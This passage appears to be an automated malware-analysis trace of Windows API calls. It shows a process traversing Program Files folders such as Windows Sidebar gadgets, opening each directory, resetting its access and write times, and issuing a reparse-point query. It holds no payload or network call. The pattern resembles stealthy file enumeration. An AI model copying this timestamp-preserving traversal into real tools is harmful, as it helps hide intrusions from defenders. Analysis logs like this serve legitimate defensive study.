lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.132] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.132] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.132] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.132] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0070.133] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.133] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.133] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.133] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.133] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.133] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.133] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.133] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.134] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.134] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.135] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.136] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.136] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.136] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.136] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.137] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.137] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.137] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.137] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.137] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.138] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.138] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.138] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.138] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.139] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.139] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.141] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.141] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.141] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.141] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.141] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.141] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.142] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.142] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.142] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.143] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.143] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.143] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.143] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.143] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.143] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.146] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.146] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.146] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.147] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.147] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.147] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.148] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.148] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.148] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.149] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.149] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.149] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.149] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.149] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.149] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.166] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.167] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.167] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.167] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.167] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.167] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.167] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.167] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.168] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.168] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.168] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.168] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.169] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.169] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.169] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.172] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.172] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.172] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.173] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.174] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.174] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.174] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.174] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.174] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.175] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.175] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.175] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.178] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.178] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.178] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.178] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.178] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.178] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.179] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.179] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.179] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.180] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.180] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.180] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.180] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.180] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.180] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.181] 